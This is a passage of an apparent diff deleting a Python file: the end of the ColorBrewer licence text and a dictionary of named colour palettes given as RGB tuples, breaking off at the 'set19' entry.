and the following disclaimer. -# -# 2. The end-user documentation included with the redistribution, if any, -# must include the following acknowledgment: -# -# This product includes color specifications and designs developed by -# Cynthia Brewer (http://colorbrewer.org/). -# -# Alternately, this acknowledgment may appear in the software itself, if and -# wherever such third-party acknowledgments normally appear. -# -# 3. The name "ColorBrewer" must not be used to endorse or promote products -# derived from this software without prior written permission. For written -# permission, please contact Cynthia Brewer at cbrewer@psu.edu. -# -# 4. Products derived from this software may not be called "ColorBrewer", -# nor may "ColorBrewer" appear in their name, without prior written -# permission of Cynthia Brewer. -# -# THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES, -# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -# FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL CYNTHIA -# BREWER, MARK HARROWER, OR THE PENNSYLVANIA STATE UNIVERSITY BE LIABLE FOR ANY -# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -brewer_colors = { - 'accent3': [(127, 201, 127), (190, 174, 212), (253, 192, 134)], - 'accent4': [(127, 201, 127), (190, 174, 212), (253, 192, 134), (255, 255, 153)], - 'accent5': [(127, 201, 127), (190, 174, 212), (253, 192, 134), (255, 255, 153), (56, 108, 176)], - 'accent6': [(127, 201, 127), (190, 174, 212), (253, 192, 134), (255, 255, 153), (56, 108, 176), (240, 2, 127)], - 'accent7': [(127, 201, 127), (190, 174, 212), (253, 192, 134), (255, 255, 153), (56, 108, 176), (240, 2, 127), (191, 91, 23)], - 'accent8': [(127, 201, 127), (190, 174, 212), (253, 192, 134), (255, 255, 153), (56, 108, 176), (240, 2, 127), (191, 91, 23), (102, 102, 102)], - 'blues3': [(222, 235, 247), (158, 202, 225), (49, 130, 189)], - 'blues4': [(239, 243, 255), (189, 215, 231), (107, 174, 214), (33, 113, 181)], - 'blues5': [(239, 243, 255), (189, 215, 231), (107, 174, 214), (49, 130, 189), (8, 81, 156)], - 'blues6': [(239, 243, 255), (198, 219, 239), (158, 202, 225), (107, 174, 214), (49, 130, 189), (8, 81, 156)], - 'blues7': [(239, 243, 255), (198, 219, 239), (158, 202, 225), (107, 174, 214), (66, 146, 198), (33, 113, 181), (8, 69, 148)], - 'blues8': [(247, 251, 255), (222, 235, 247), (198, 219, 239), (158, 202, 225), (107, 174, 214), (66, 146, 198), (33, 113, 181), (8, 69, 148)], - 'blues9': [(247, 251, 255), (222, 235, 247), (198, 219, 239), (158, 202, 225), (107, 174, 214), (66, 146, 198), (33, 113, 181), (8, 81, 156), (8, 48, 107)], - 'brbg10': [(84, 48, 5), (0, 60, 48), (140, 81, 10), (191, 129, 45), (223, 194, 125), (246, 232, 195), (199, 234, 229), (128, 205, 193), (53, 151, 143), (1, 102, 94)], - 'brbg11': [(84, 48, 5), (1, 102, 94), (0, 60, 48), (140, 81, 10), (191, 129, 45), (223, 194, 125), (246, 232, 195), (245, 245, 245), (199, 234, 229), (128, 205, 193), (53, 151, 143)], - 'brbg3': [(216, 179, 101), (245, 245, 245), (90, 180, 172)], - 'brbg4': [(166, 97, 26), (223, 194, 125), (128, 205, 193), (1, 133, 113)], - 'brbg5': [(166, 97, 26), (223, 194, 125), (245, 245, 245), (128, 205, 193), (1, 133, 113)], - 'brbg6': [(140, 81, 10), (216, 179, 101), (246, 232, 195), (199, 234, 229), (90, 180, 172), (1, 102, 94)], - 'brbg7': [(140, 81, 10), (216, 179, 101), (246, 232, 195), (245, 245, 245), (199, 234, 229), (90, 180, 172), (1, 102, 94)], - 'brbg8': [(140, 81, 10), (191, 129, 45), (223, 194, 125), (246, 232, 195), (199, 234, 229), (128, 205, 193), (53, 151, 143), (1, 102, 94)], - 'brbg9': [(140, 81, 10), (191, 129, 45), (223, 194, 125), (246, 232, 195), (245, 245, 245), (199, 234, 229), (128, 205, 193), (53, 151, 143), (1, 102, 94)], - 'bugn3': [(229, 245, 249), (153, 216, 201), (44, 162, 95)], - 'bugn4': [(237, 248, 251), (178, 226, 226), (102, 194, 164), (35, 139, 69)], - 'bugn5': [(237, 248, 251), (178, 226, 226), (102, 194, 164), (44, 162, 95), (0, 109, 44)], - 'bugn6': [(237, 248, 251), (204, 236, 230), (153, 216, 201), (102, 194, 164), (44, 162, 95), (0, 109, 44)], - 'bugn7': [(237, 248, 251), (204, 236, 230), (153, 216, 201), (102, 194, 164), (65, 174, 118), (35, 139, 69), (0, 88, 36)], - 'bugn8': [(247, 252, 253), (229, 245, 249), (204, 236, 230), (153, 216, 201), (102, 194, 164), (65, 174, 118), (35, 139, 69), (0, 88, 36)], - 'bugn9': [(247, 252, 253), (229, 245, 249), (204, 236, 230), (153, 216, 201), (102, 194, 164), (65, 174, 118), (35, 139, 69), (0, 109, 44), (0, 68, 27)], - 'bupu3': [(224, 236, 244), (158, 188, 218), (136, 86, 167)], - 'bupu4': [(237, 248, 251), (179, 205, 227), (140, 150, 198), (136, 65, 157)], - 'bupu5': [(237, 248, 251), (179, 205, 227), (140, 150, 198), (136, 86, 167), (129, 15, 124)], - 'bupu6': [(237, 248, 251), (191, 211, 230), (158, 188, 218), (140, 150, 198), (136, 86, 167), (129, 15, 124)], - 'bupu7': [(237, 248, 251), (191, 211, 230), (158, 188, 218), (140, 150, 198), (140, 107, 177), (136, 65, 157), (110, 1, 107)], - 'bupu8': [(247, 252, 253), (224, 236, 244), (191, 211, 230), (158, 188, 218), (140, 150, 198), (140, 107, 177), (136, 65, 157), (110, 1, 107)], - 'bupu9': [(247, 252, 253), (224, 236, 244), (191, 211, 230), (158, 188, 218), (140, 150, 198), (140, 107, 177), (136, 65, 157), (129, 15, 124), (77, 0, 75)], - 'dark23': [(27, 158, 119), (217, 95, 2), (117, 112, 179)], - 'dark24': [(27, 158, 119), (217, 95, 2), (117, 112, 179), (231, 41, 138)], - 'dark25': [(27, 158, 119), (217, 95, 2), (117, 112, 179), (231, 41, 138), (102, 166, 30)], - 'dark26': [(27, 158, 119), (217, 95, 2), (117, 112, 179), (231, 41, 138), (102, 166, 30), (230, 171, 2)], - 'dark27': [(27, 158, 119), (217, 95, 2), (117, 112, 179), (231, 41, 138), (102, 166, 30), (230, 171, 2), (166, 118, 29)], - 'dark28': [(27, 158, 119), (217, 95, 2), (117, 112, 179), (231, 41, 138), (102, 166, 30), (230, 171, 2), (166, 118, 29), (102, 102, 102)], - 'gnbu3': [(224, 243, 219), (168, 221, 181), (67, 162, 202)], - 'gnbu4': [(240, 249, 232), (186, 228, 188), (123, 204, 196), (43, 140, 190)], - 'gnbu5': [(240, 249, 232), (186, 228, 188), (123, 204, 196), (67, 162, 202), (8, 104, 172)], - 'gnbu6': [(240, 249, 232), (204, 235, 197), (168, 221, 181), (123, 204, 196), (67, 162, 202), (8, 104, 172)], - 'gnbu7': [(240, 249, 232), (204, 235, 197), (168, 221, 181), (123, 204, 196), (78, 179, 211), (43, 140, 190), (8, 88, 158)], - 'gnbu8': [(247, 252, 240), (224, 243, 219), (204, 235, 197), (168, 221, 181), (123, 204, 196), (78, 179, 211), (43, 140, 190), (8, 88, 158)], - 'gnbu9': [(247, 252, 240), (224, 243, 219), (204, 235, 197), (168, 221, 181), (123, 204, 196), (78, 179, 211), (43, 140, 190), (8, 104, 172), (8, 64, 129)], - 'greens3': [(229, 245, 224), (161, 217, 155), (49, 163, 84)], - 'greens4': [(237, 248, 233), (186, 228, 179), (116, 196, 118), (35, 139, 69)], - 'greens5': [(237, 248, 233), (186, 228, 179), (116, 196, 118), (49, 163, 84), (0, 109, 44)], - 'greens6': [(237, 248, 233), (199, 233, 192), (161, 217, 155), (116, 196, 118), (49, 163, 84), (0, 109, 44)], - 'greens7': [(237, 248, 233), (199, 233, 192), (161, 217, 155), (116, 196, 118), (65, 171, 93), (35, 139, 69), (0, 90, 50)], - 'greens8': [(247, 252, 245), (229, 245, 224), (199, 233, 192), (161, 217, 155), (116, 196, 118), (65, 171, 93), (35, 139, 69), (0, 90, 50)], - 'greens9': [(247, 252, 245), (229, 245, 224), (199, 233, 192), (161, 217, 155), (116, 196, 118), (65, 171, 93), (35, 139, 69), (0, 109, 44), (0, 68, 27)], - 'greys3': [(240, 240, 240), (189, 189, 189), (99, 99, 99)], - 'greys4': [(247, 247, 247), (204, 204, 204), (150, 150, 150), (82, 82, 82)], - 'greys5': [(247, 247, 247), (204, 204, 204), (150, 150, 150), (99, 99, 99), (37, 37, 37)], - 'greys6': [(247, 247, 247), (217, 217, 217), (189, 189, 189), (150, 150, 150), (99, 99, 99), (37, 37, 37)], - 'greys7': [(247, 247, 247), (217, 217, 217), (189, 189, 189), (150, 150, 150), (115, 115, 115), (82, 82, 82), (37, 37, 37)], - 'greys8': [(255, 255, 255), (240, 240, 240), (217, 217, 217), (189, 189, 189), (150, 150, 150), (115, 115, 115), (82, 82, 82), (37, 37, 37)], - 'greys9': [(255, 255, 255), (240, 240, 240), (217, 217, 217), (189, 189, 189), (150, 150, 150), (115, 115, 115), (82, 82, 82), (37, 37, 37), (0, 0, 0)], - 'oranges3': [(254, 230, 206), (253, 174, 107), (230, 85, 13)], - 'oranges4': [(254, 237, 222), (253, 190, 133), (253, 141, 60), (217, 71, 1)], - 'oranges5': [(254, 237, 222), (253, 190, 133), (253, 141, 60), (230, 85, 13), (166, 54, 3)], - 'oranges6': [(254, 237, 222), (253, 208, 162), (253, 174, 107), (253, 141, 60), (230, 85, 13), (166, 54, 3)], - 'oranges7': [(254, 237, 222), (253, 208, 162), (253, 174, 107), (253, 141, 60), (241, 105, 19), (217, 72, 1), (140, 45, 4)], - 'oranges8': [(255, 245, 235), (254, 230, 206), (253, 208, 162), (253, 174, 107), (253, 141, 60), (241, 105, 19), (217, 72, 1), (140, 45, 4)], - 'oranges9': [(255, 245, 235), (254, 230, 206), (253, 208, 162), (253, 174, 107), (253, 141, 60), (241, 105, 19), (217, 72, 1), (166, 54, 3), (127, 39, 4)], - 'orrd3': [(254, 232, 200), (253, 187, 132), (227, 74, 51)], - 'orrd4': [(254, 240, 217), (253, 204, 138), (252, 141, 89), (215, 48, 31)], - 'orrd5': [(254, 240, 217), (253, 204, 138), (252, 141, 89), (227, 74, 51), (179, 0, 0)], - 'orrd6': [(254, 240, 217), (253, 212, 158), (253, 187, 132), (252, 141, 89), (227, 74, 51), (179, 0, 0)], - 'orrd7': [(254, 240, 217), (253, 212, 158), (253, 187, 132), (252, 141, 89), (239, 101, 72), (215, 48, 31), (153, 0, 0)], - 'orrd8': [(255, 247, 236), (254, 232, 200), (253, 212, 158), (253, 187, 132), (252, 141, 89), (239, 101, 72), (215, 48, 31), (153, 0, 0)], - 'orrd9': [(255, 247, 236), (254, 232, 200), (253, 212, 158), (253, 187, 132), (252, 141, 89), (239, 101, 72), (215, 48, 31), (179, 0, 0), (127, 0, 0)], - 'paired10': [(166, 206, 227), (106, 61, 154), (31, 120, 180), (178, 223, 138), (51, 160, 44), (251, 154, 153), (227, 26, 28), (253, 191, 111), (255, 127, 0), (202, 178, 214)], - 'paired11': [(166, 206, 227), (106, 61, 154), (255, 255, 153), (31, 120, 180), (178, 223, 138), (51, 160, 44), (251, 154, 153), (227, 26, 28), (253, 191, 111), (255, 127, 0), (202, 178, 214)], - 'paired12': [(166, 206, 227), (106, 61, 154), (255, 255, 153), (177, 89, 40), (31, 120, 180), (178, 223, 138), (51, 160, 44), (251, 154, 153), (227, 26, 28), (253, 191, 111), (255, 127, 0), (202, 178, 214)], - 'paired3': [(166, 206, 227), (31, 120, 180), (178, 223, 138)], - 'paired4': [(166, 206, 227), (31, 120, 180), (178, 223, 138), (51, 160, 44)], - 'paired5': [(166, 206, 227), (31, 120, 180), (178, 223, 138), (51, 160, 44), (251, 154, 153)], - 'paired6': [(166, 206, 227), (31, 120, 180), (178, 223, 138), (51, 160, 44), (251, 154, 153), (227, 26, 28)], - 'paired7': [(166, 206, 227), (31, 120, 180), (178, 223, 138), (51, 160, 44), (251, 154, 153), (227, 26, 28), (253, 191, 111)], - 'paired8': [(166, 206, 227), (31, 120, 180), (178, 223, 138), (51, 160, 44), (251, 154, 153), (227, 26, 28), (253, 191, 111), (255, 127, 0)], - 'paired9': [(166, 206, 227), (31, 120, 180), (178, 223, 138), (51, 160, 44), (251, 154, 153), (227, 26, 28), (253, 191, 111), (255, 127, 0), (202, 178, 214)], - 'pastel13': [(251, 180, 174), (179, 205, 227), (204, 235, 197)], - 'pastel14': [(251, 180, 174), (179, 205, 227), (204, 235, 197), (222, 203, 228)], - 'pastel15': [(251, 180, 174), (179, 205, 227), (204, 235, 197), (222, 203, 228), (254, 217, 166)], - 'pastel16': [(251, 180, 174), (179, 205, 227), (204, 235, 197), (222, 203, 228), (254, 217, 166), (255, 255, 204)], - 'pastel17': [(251, 180, 174), (179, 205, 227), (204, 235, 197), (222, 203, 228), (254, 217, 166), (255, 255, 204), (229, 216, 189)], - 'pastel18': [(251, 180, 174), (179, 205, 227), (204, 235, 197), (222, 203, 228), (254, 217, 166), (255, 255, 204), (229, 216, 189), (253, 218, 236)], - 'pastel19': [(251, 180, 174), (179, 205, 227), (204, 235, 197), (222, 203, 228), (254, 217, 166), (255, 255, 204), (229, 216, 189), (253, 218, 236), (242, 242, 242)], - 'pastel23': [(179, 226, 205), (253, 205, 172), (203, 213, 232)], - 'pastel24': [(179, 226, 205), (253, 205, 172), (203, 213, 232), (244, 202, 228)], - 'pastel25': [(179, 226, 205), (253, 205, 172), (203, 213, 232), (244, 202, 228), (230, 245, 201)], - 'pastel26': [(179, 226, 205), (253, 205, 172), (203, 213, 232), (244, 202, 228), (230, 245, 201), (255, 242, 174)], - 'pastel27': [(179, 226, 205), (253, 205, 172), (203, 213, 232), (244, 202, 228), (230, 245, 201), (255, 242, 174), (241, 226, 204)], - 'pastel28': [(179, 226, 205), (253, 205, 172), (203, 213, 232), (244, 202, 228), (230, 245, 201), (255, 242, 174), (241, 226, 204), (204, 204, 204)], - 'piyg10': [(142, 1, 82), (39, 100, 25), (197, 27, 125), (222, 119, 174), (241, 182, 218), (253, 224, 239), (230, 245, 208), (184, 225, 134), (127, 188, 65), (77, 146, 33)], - 'piyg11': [(142, 1, 82), (77, 146, 33), (39, 100, 25), (197, 27, 125), (222, 119, 174), (241, 182, 218), (253, 224, 239), (247, 247, 247), (230, 245, 208), (184, 225, 134), (127, 188, 65)], - 'piyg3': [(233, 163, 201), (247, 247, 247), (161, 215, 106)], - 'piyg4': [(208, 28, 139), (241, 182, 218), (184, 225, 134), (77, 172, 38)], - 'piyg5': [(208, 28, 139), (241, 182, 218), (247, 247, 247), (184, 225, 134), (77, 172, 38)], - 'piyg6': [(197, 27, 125), (233, 163, 201), (253, 224, 239), (230, 245, 208), (161, 215, 106), (77, 146, 33)], - 'piyg7': [(197, 27, 125), (233, 163, 201), (253, 224, 239), (247, 247, 247), (230, 245, 208), (161, 215, 106), (77, 146, 33)], - 'piyg8': [(197, 27, 125), (222, 119, 174), (241, 182, 218), (253, 224, 239), (230, 245, 208), (184, 225, 134), (127, 188, 65), (77, 146, 33)], - 'piyg9': [(197, 27, 125), (222, 119, 174), (241, 182, 218), (253, 224, 239), (247, 247, 247), (230, 245, 208), (184, 225, 134), (127, 188, 65), (77, 146, 33)], - 'prgn10': [(64, 0, 75), (0, 68, 27), (118, 42, 131), (153, 112, 171), (194, 165, 207), (231, 212, 232), (217, 240, 211), (166, 219, 160), (90, 174, 97), (27, 120, 55)], - 'prgn11': [(64, 0, 75), (27, 120, 55), (0, 68, 27), (118, 42, 131), (153, 112, 171), (194, 165, 207), (231, 212, 232), (247, 247, 247), (217, 240, 211), (166, 219, 160), (90, 174, 97)], - 'prgn3': [(175, 141, 195), (247, 247, 247), (127, 191, 123)], - 'prgn4': [(123, 50, 148), (194, 165, 207), (166, 219, 160), (0, 136, 55)], - 'prgn5': [(123, 50, 148), (194, 165, 207), (247, 247, 247), (166, 219, 160), (0, 136, 55)], - 'prgn6': [(118, 42, 131), (175, 141, 195), (231, 212, 232), (217, 240, 211), (127, 191, 123), (27, 120, 55)], - 'prgn7': [(118, 42, 131), (175, 141, 195), (231, 212, 232), (247, 247, 247), (217, 240, 211), (127, 191, 123), (27, 120, 55)], - 'prgn8': [(118, 42, 131), (153, 112, 171), (194, 165, 207), (231, 212, 232), (217, 240, 211), (166, 219, 160), (90, 174, 97), (27, 120, 55)], - 'prgn9': [(118, 42, 131), (153, 112, 171), (194, 165, 207), (231, 212, 232), (247, 247, 247), (217, 240, 211), (166, 219, 160), (90, 174, 97), (27, 120, 55)], - 'pubu3': [(236, 231, 242), (166, 189, 219), (43, 140, 190)], - 'pubu4': [(241, 238, 246), (189, 201, 225), (116, 169, 207), (5, 112, 176)], - 'pubu5': [(241, 238, 246), (189, 201, 225), (116, 169, 207), (43, 140, 190), (4, 90, 141)], - 'pubu6': [(241, 238, 246), (208, 209, 230), (166, 189, 219), (116, 169, 207), (43, 140, 190), (4, 90, 141)], - 'pubu7': [(241, 238, 246), (208, 209, 230), (166, 189, 219), (116, 169, 207), (54, 144, 192), (5, 112, 176), (3, 78, 123)], - 'pubu8': [(255, 247, 251), (236, 231, 242), (208, 209, 230), (166, 189, 219), (116, 169, 207), (54, 144, 192), (5, 112, 176), (3, 78, 123)], - 'pubu9': [(255, 247, 251), (236, 231, 242), (208, 209, 230), (166, 189, 219), (116, 169, 207), (54, 144, 192), (5, 112, 176), (4, 90, 141), (2, 56, 88)], - 'pubugn3': [(236, 226, 240), (166, 189, 219), (28, 144, 153)], - 'pubugn4': [(246, 239, 247), (189, 201, 225), (103, 169, 207), (2, 129, 138)], - 'pubugn5': [(246, 239, 247), (189, 201, 225), (103, 169, 207), (28, 144, 153), (1, 108, 89)], - 'pubugn6': [(246, 239, 247), (208, 209, 230), (166, 189, 219), (103, 169, 207), (28, 144, 153), (1, 108, 89)], - 'pubugn7': [(246, 239, 247), (208, 209, 230), (166, 189, 219), (103, 169, 207), (54, 144, 192), (2, 129, 138), (1, 100, 80)], - 'pubugn8': [(255, 247, 251), (236, 226, 240), (208, 209, 230), (166, 189, 219), (103, 169, 207), (54, 144, 192), (2, 129, 138), (1, 100, 80)], - 'pubugn9': [(255, 247, 251), (236, 226, 240), (208, 209, 230), (166, 189, 219), (103, 169, 207), (54, 144, 192), (2, 129, 138), (1, 108, 89), (1, 70, 54)], - 'puor10': [(127, 59, 8), (45, 0, 75), (179, 88, 6), (224, 130, 20), (253, 184, 99), (254, 224, 182), (216, 218, 235), (178, 171, 210), (128, 115, 172), (84, 39, 136)], - 'puor11': [(127, 59, 8), (84, 39, 136), (45, 0, 75), (179, 88, 6), (224, 130, 20), (253, 184, 99), (254, 224, 182), (247, 247, 247), (216, 218, 235), (178, 171, 210), (128, 115, 172)], - 'puor3': [(241, 163, 64), (247, 247, 247), (153, 142, 195)], - 'puor4': [(230, 97, 1), (253, 184, 99), (178, 171, 210), (94, 60, 153)], - 'puor5': [(230, 97, 1), (253, 184, 99), (247, 247, 247), (178, 171, 210), (94, 60, 153)], - 'puor6': [(179, 88, 6), (241, 163, 64), (254, 224, 182), (216, 218, 235), (153, 142, 195), (84, 39, 136)], - 'puor7': [(179, 88, 6), (241, 163, 64), (254, 224, 182), (247, 247, 247), (216, 218, 235), (153, 142, 195), (84, 39, 136)], - 'puor8': [(179, 88, 6), (224, 130, 20), (253, 184, 99), (254, 224, 182), (216, 218, 235), (178, 171, 210), (128, 115, 172), (84, 39, 136)], - 'puor9': [(179, 88, 6), (224, 130, 20), (253, 184, 99), (254, 224, 182), (247, 247, 247), (216, 218, 235), (178, 171, 210), (128, 115, 172), (84, 39, 136)], - 'purd3': [(231, 225, 239), (201, 148, 199), (221, 28, 119)], - 'purd4': [(241, 238, 246), (215, 181, 216), (223, 101, 176), (206, 18, 86)], - 'purd5': [(241, 238, 246), (215, 181, 216), (223, 101, 176), (221, 28, 119), (152, 0, 67)], - 'purd6': [(241, 238, 246), (212, 185, 218), (201, 148, 199), (223, 101, 176), (221, 28, 119), (152, 0, 67)], - 'purd7': [(241, 238, 246), (212, 185, 218), (201, 148, 199), (223, 101, 176), (231, 41, 138), (206, 18, 86), (145, 0, 63)], - 'purd8': [(247, 244, 249), (231, 225, 239), (212, 185, 218), (201, 148, 199), (223, 101, 176), (231, 41, 138), (206, 18, 86), (145, 0, 63)], - 'purd9': [(247, 244, 249), (231, 225, 239), (212, 185, 218), (201, 148, 199), (223, 101, 176), (231, 41, 138), (206, 18, 86), (152, 0, 67), (103, 0, 31)], - 'purples3': [(239, 237, 245), (188, 189, 220), (117, 107, 177)], - 'purples4': [(242, 240, 247), (203, 201, 226), (158, 154, 200), (106, 81, 163)], - 'purples5': [(242, 240, 247), (203, 201, 226), (158, 154, 200), (117, 107, 177), (84, 39, 143)], - 'purples6': [(242, 240, 247), (218, 218, 235), (188, 189, 220), (158, 154, 200), (117, 107, 177), (84, 39, 143)], - 'purples7': [(242, 240, 247), (218, 218, 235), (188, 189, 220), (158, 154, 200), (128, 125, 186), (106, 81, 163), (74, 20, 134)], - 'purples8': [(252, 251, 253), (239, 237, 245), (218, 218, 235), (188, 189, 220), (158, 154, 200), (128, 125, 186), (106, 81, 163), (74, 20, 134)], - 'purples9': [(252, 251, 253), (239, 237, 245), (218, 218, 235), (188, 189, 220), (158, 154, 200), (128, 125, 186), (106, 81, 163), (84, 39, 143), (63, 0, 125)], - 'rdbu10': [(103, 0, 31), (5, 48, 97), (178, 24, 43), (214, 96, 77), (244, 165, 130), (253, 219, 199), (209, 229, 240), (146, 197, 222), (67, 147, 195), (33, 102, 172)], - 'rdbu11': [(103, 0, 31), (33, 102, 172), (5, 48, 97), (178, 24, 43), (214, 96, 77), (244, 165, 130), (253, 219, 199), (247, 247, 247), (209, 229, 240), (146, 197, 222), (67, 147, 195)], - 'rdbu3': [(239, 138, 98), (247, 247, 247), (103, 169, 207)], - 'rdbu4': [(202, 0, 32), (244, 165, 130), (146, 197, 222), (5, 113, 176)], - 'rdbu5': [(202, 0, 32), (244, 165, 130), (247, 247, 247), (146, 197, 222), (5, 113, 176)], - 'rdbu6': [(178, 24, 43), (239, 138, 98), (253, 219, 199), (209, 229, 240), (103, 169, 207), (33, 102, 172)], - 'rdbu7': [(178, 24, 43), (239, 138, 98), (253, 219, 199), (247, 247, 247), (209, 229, 240), (103, 169, 207), (33, 102, 172)], - 'rdbu8': [(178, 24, 43), (214, 96, 77), (244, 165, 130), (253, 219, 199), (209, 229, 240), (146, 197, 222), (67, 147, 195), (33, 102, 172)], - 'rdbu9': [(178, 24, 43), (214, 96, 77), (244, 165, 130), (253, 219, 199), (247, 247, 247), (209, 229, 240), (146, 197, 222), (67, 147, 195), (33, 102, 172)], - 'rdgy10': [(103, 0, 31), (26, 26, 26), (178, 24, 43), (214, 96, 77), (244, 165, 130), (253, 219, 199), (224, 224, 224), (186, 186, 186), (135, 135, 135), (77, 77, 77)], - 'rdgy11': [(103, 0, 31), (77, 77, 77), (26, 26, 26), (178, 24, 43), (214, 96, 77), (244, 165, 130), (253, 219, 199), (255, 255, 255), (224, 224, 224), (186, 186, 186), (135, 135, 135)], - 'rdgy3': [(239, 138, 98), (255, 255, 255), (153, 153, 153)], - 'rdgy4': [(202, 0, 32), (244, 165, 130), (186, 186, 186), (64, 64, 64)], - 'rdgy5': [(202, 0, 32), (244, 165, 130), (255, 255, 255), (186, 186, 186), (64, 64, 64)], - 'rdgy6': [(178, 24, 43), (239, 138, 98), (253, 219, 199), (224, 224, 224), (153, 153, 153), (77, 77, 77)], - 'rdgy7': [(178, 24, 43), (239, 138, 98), (253, 219, 199), (255, 255, 255), (224, 224, 224), (153, 153, 153), (77, 77, 77)], - 'rdgy8': [(178, 24, 43), (214, 96, 77), (244, 165, 130), (253, 219, 199), (224, 224, 224), (186, 186, 186), (135, 135, 135), (77, 77, 77)], - 'rdgy9': [(178, 24, 43), (214, 96, 77), (244, 165, 130), (253, 219, 199), (255, 255, 255), (224, 224, 224), (186, 186, 186), (135, 135, 135), (77, 77, 77)], - 'rdpu3': [(253, 224, 221), (250, 159, 181), (197, 27, 138)], - 'rdpu4': [(254, 235, 226), (251, 180, 185), (247, 104, 161), (174, 1, 126)], - 'rdpu5': [(254, 235, 226), (251, 180, 185), (247, 104, 161), (197, 27, 138), (122, 1, 119)], - 'rdpu6': [(254, 235, 226), (252, 197, 192), (250, 159, 181), (247, 104, 161), (197, 27, 138), (122, 1, 119)], - 'rdpu7': [(254, 235, 226), (252, 197, 192), (250, 159, 181), (247, 104, 161), (221, 52, 151), (174, 1, 126), (122, 1, 119)], - 'rdpu8': [(255, 247, 243), (253, 224, 221), (252, 197, 192), (250, 159, 181), (247, 104, 161), (221, 52, 151), (174, 1, 126), (122, 1, 119)], - 'rdpu9': [(255, 247, 243), (253, 224, 221), (252, 197, 192), (250, 159, 181), (247, 104, 161), (221, 52, 151), (174, 1, 126), (122, 1, 119), (73, 0, 106)], - 'rdylbu10': [(165, 0, 38), (49, 54, 149), (215, 48, 39), (244, 109, 67), (253, 174, 97), (254, 224, 144), (224, 243, 248), (171, 217, 233), (116, 173, 209), (69, 117, 180)], - 'rdylbu11': [(165, 0, 38), (69, 117, 180), (49, 54, 149), (215, 48, 39), (244, 109, 67), (253, 174, 97), (254, 224, 144), (255, 255, 191), (224, 243, 248), (171, 217, 233), (116, 173, 209)], - 'rdylbu3': [(252, 141, 89), (255, 255, 191), (145, 191, 219)], - 'rdylbu4': [(215, 25, 28), (253, 174, 97), (171, 217, 233), (44, 123, 182)], - 'rdylbu5': [(215, 25, 28), (253, 174, 97), (255, 255, 191), (171, 217, 233), (44, 123, 182)], - 'rdylbu6': [(215, 48, 39), (252, 141, 89), (254, 224, 144), (224, 243, 248), (145, 191, 219), (69, 117, 180)], - 'rdylbu7': [(215, 48, 39), (252, 141, 89), (254, 224, 144), (255, 255, 191), (224, 243, 248), (145, 191, 219), (69, 117, 180)], - 'rdylbu8': [(215, 48, 39), (244, 109, 67), (253, 174, 97), (254, 224, 144), (224, 243, 248), (171, 217, 233), (116, 173, 209), (69, 117, 180)], - 'rdylbu9': [(215, 48, 39), (244, 109, 67), (253, 174, 97), (254, 224, 144), (255, 255, 191), (224, 243, 248), (171, 217, 233), (116, 173, 209), (69, 117, 180)], - 'rdylgn10': [(165, 0, 38), (0, 104, 55), (215, 48, 39), (244, 109, 67), (253, 174, 97), (254, 224, 139), (217, 239, 139), (166, 217, 106), (102, 189, 99), (26, 152, 80)], - 'rdylgn11': [(165, 0, 38), (26, 152, 80), (0, 104, 55), (215, 48, 39), (244, 109, 67), (253, 174, 97), (254, 224, 139), (255, 255, 191), (217, 239, 139), (166, 217, 106), (102, 189, 99)], - 'rdylgn3': [(252, 141, 89), (255, 255, 191), (145, 207, 96)], - 'rdylgn4': [(215, 25, 28), (253, 174, 97), (166, 217, 106), (26, 150, 65)], - 'rdylgn5': [(215, 25, 28), (253, 174, 97), (255, 255, 191), (166, 217, 106), (26, 150, 65)], - 'rdylgn6': [(215, 48, 39), (252, 141, 89), (254, 224, 139), (217, 239, 139), (145, 207, 96), (26, 152, 80)], - 'rdylgn7': [(215, 48, 39), (252, 141, 89), (254, 224, 139), (255, 255, 191), (217, 239, 139), (145, 207, 96), (26, 152, 80)], - 'rdylgn8': [(215, 48, 39), (244, 109, 67), (253, 174, 97), (254, 224, 139), (217, 239, 139), (166, 217, 106), (102, 189, 99), (26, 152, 80)], - 'rdylgn9': [(215, 48, 39), (244, 109, 67), (253, 174, 97), (254, 224, 139), (255, 255, 191), (217, 239, 139), (166, 217, 106), (102, 189, 99), (26, 152, 80)], - 'reds3': [(254, 224, 210), (252, 146, 114), (222, 45, 38)], - 'reds4': [(254, 229, 217), (252, 174, 145), (251, 106, 74), (203, 24, 29)], - 'reds5': [(254, 229, 217), (252, 174, 145), (251, 106, 74), (222, 45, 38), (165, 15, 21)], - 'reds6': [(254, 229, 217), (252, 187, 161), (252, 146, 114), (251, 106, 74), (222, 45, 38), (165, 15, 21)], - 'reds7': [(254, 229, 217), (252, 187, 161), (252, 146, 114), (251, 106, 74), (239, 59, 44), (203, 24, 29), (153, 0, 13)], - 'reds8': [(255, 245, 240), (254, 224, 210), (252, 187, 161), (252, 146, 114), (251, 106, 74), (239, 59, 44), (203, 24, 29), (153, 0, 13)], - 'reds9': [(255, 245, 240), (254, 224, 210), (252, 187, 161), (252, 146, 114), (251, 106, 74), (239, 59, 44), (203, 24, 29), (165, 15, 21), (103, 0, 13)], - 'set13': [(228, 26, 28), (55, 126, 184), (77, 175, 74)], - 'set14': [(228, 26, 28), (55, 126, 184), (77, 175, 74), (152, 78, 163)], - 'set15': [(228, 26, 28), (55, 126, 184), (77, 175, 74), (152, 78, 163), (255, 127, 0)], - 'set16': [(228, 26, 28), (55, 126, 184), (77, 175, 74), (152, 78, 163), (255, 127, 0), (255, 255, 51)], - 'set17': [(228, 26, 28), (55, 126, 184), (77, 175, 74), (152, 78, 163), (255, 127, 0), (255, 255, 51), (166, 86, 40)], - 'set18': [(228, 26, 28), (55, 126, 184), (77, 175, 74), (152, 78, 163), (255, 127, 0), (255, 255, 51), (166, 86, 40), (247, 129, 191)], - 'set19': 